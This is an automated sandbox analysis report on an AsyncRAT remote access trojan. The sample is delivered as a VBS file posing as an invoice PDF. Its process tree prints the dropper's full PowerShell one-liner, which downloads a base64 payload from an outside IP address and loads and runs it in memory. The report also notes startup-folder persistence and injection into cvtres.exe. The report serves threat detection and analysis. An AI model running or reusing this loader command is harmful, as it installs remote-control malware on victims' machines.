asyncrat | 1add10f411596ce592775736cbd547b0de4e69ae044173cb604bc1cb410dc424

General

Target

Fact_Elect_En_Mora_No. 01_0710-PASS_6010_CUFE-7IZG026010_PDF.vbs
Size

442KB
MD5

62174dd3cc316dff4896b292cde3eebc
SHA1

abc441c9636e64ff3c6a24879efc6c847640adfa
SHA256

1add10f411596ce592775736cbd547b0de4e69ae044173cb604bc1cb410dc424
SHA512

ec4d0dd87b74e8ae268d9cea674a75920b0935095c975db0f3609af176ee3392801ec9d12ad0705964fd4491bc5b05ac6f089b7b34690a64923b5fb5c098e7f3
SSDEEP

768:De0E0B0S0Y0V0w0B0V0/i0j0+050kfF0NF0B0Z/0pP40E0X070M0Ao0O0gAOAqAn:7aW1AP4HgK

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1340-137-0x0000000000400000-0x000000000041A000-memory.dmp	asyncrat
behavioral2/memory/1340-138-0x000000000041474E-mapping.dmp	asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 4044 powershell.exe
7 4044 powershell.exe

flow	pid	process
5	4044	powershell.exe
7	4044	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4044 set thread context of 1340 4044 powershell.exe cvtres.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4044 powershell.exe
4044 powershell.exe
312 powershell.exe
312 powershell.exe
4044 powershell.exe
4044 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.execvtres.exe

description pid process

Token: SeDebugPrivilege 4044 powershell.exe
Token: SeDebugPrivilege 312 powershell.exe
Token: SeDebugPrivilege 1340 cvtres.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk	powershell.exe

description	pid	process	target process
PID 4044 set thread context of 1340	4044	powershell.exe	cvtres.exe

pid	process
4044	powershell.exe
4044	powershell.exe
312	powershell.exe
312	powershell.exe
4044	powershell.exe
4044	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	312	powershell.exe
Token: SeDebugPrivilege	1340	cvtres.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3880 wrote to memory of 4044	3880	WScript.exe	powershell.exe
PID 3880 wrote to memory of 4044	3880	WScript.exe	powershell.exe
PID 4044 wrote to memory of 312	4044	powershell.exe	powershell.exe
PID 4044 wrote to memory of 312	4044	powershell.exe	powershell.exe
PID 4044 wrote to memory of 2664	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 2664	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 2664	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe
PID 4044 wrote to memory of 1340	4044	powershell.exe	cvtres.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fact_Elect_En_Mora_No. 01_0710-PASS_6010_CUFE-7IZG026010_PDF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('0/9EUiS/d/ee.etsap//:sptth'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4044

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:312

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
3⤵
PID:2664

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1340

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6b49e8f169d2f316e251bb33b6966426

SHA1
72269ec042c9953fbe2465cd343034b7a7b810a8

SHA256
0f5bbb69b875c76e5430b8d3175df55d2cb25cb42b423de593c4d03740d4c506

SHA512
b1e3189a8908e2891623302b466f44a55d7afbf1e786b619098242fde5b5c29322f44026a540e9b0b67885c72b0903be7470f5df5608be2e16388ec10e27b952

Download Submit
memory/312-145-0x00007FFE4E8F0000-0x00007FFE4F3B1000-memory.dmp

Filesize
10.8MB

Download
memory/312-135-0x0000000000000000-mapping.dmp

Download
memory/312-136-0x00007FFE4E8F0000-0x00007FFE4F3B1000-memory.dmp

Filesize
10.8MB

Download
memory/1340-138-0x000000000041474E-mapping.dmp

Download
memory/1340-137-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/1340-142-0x0000000005AF0000-0x0000000005B8C000-memory.dmp

Filesize
624KB

Download
memory/1340-143-0x0000000006140000-0x00000000066E4000-memory.dmp

Filesize
5.6MB

Download
memory/1340-144-0x0000000005C00000-0x0000000005C66000-memory.dmp

Filesize
408KB

Download
memory/4044-132-0x0000000000000000-mapping.dmp

Download
memory/4044-134-0x00007FFE4E8F0000-0x00007FFE4F3B1000-memory.dmp

Filesize
10.8MB

Download
memory/4044-141-0x00007FFE4E8F0000-0x00007FFE4F3B1000-memory.dmp

Filesize
10.8MB

Download
memory/4044-133-0x00000176D6580000-0x00000176D65A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads